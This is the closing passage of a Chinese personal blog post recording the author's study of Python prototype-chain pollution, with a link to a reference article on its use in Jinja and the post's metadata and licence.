本文到这里对python原型链污染的学习就结束了,再参考学习的文章中作者还写了再jinja中的应用,但是基本原理和前面差不多,只不过要对jinja的一些语法原理要有所了解,这里就没有进行复现。后期有机会了在去复现:https://tttang.com/archive/1876/#toc_jinja_1

那么到这里对javascript和python的原型链污染的学习就结束了。

  • 标题: 关于python原型链污染的一次学习记录
  • 作者: GTL-JU
  • 创建于: 2023-07-14 16:38:08
  • 更新于: 2023-07-14 16:43:32
  • 链接: https://gtl-ju.github.io/2023/07/14/关于python原型链污染的一次学习记录/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
此页目录
关于python原型链污染的一次学习记录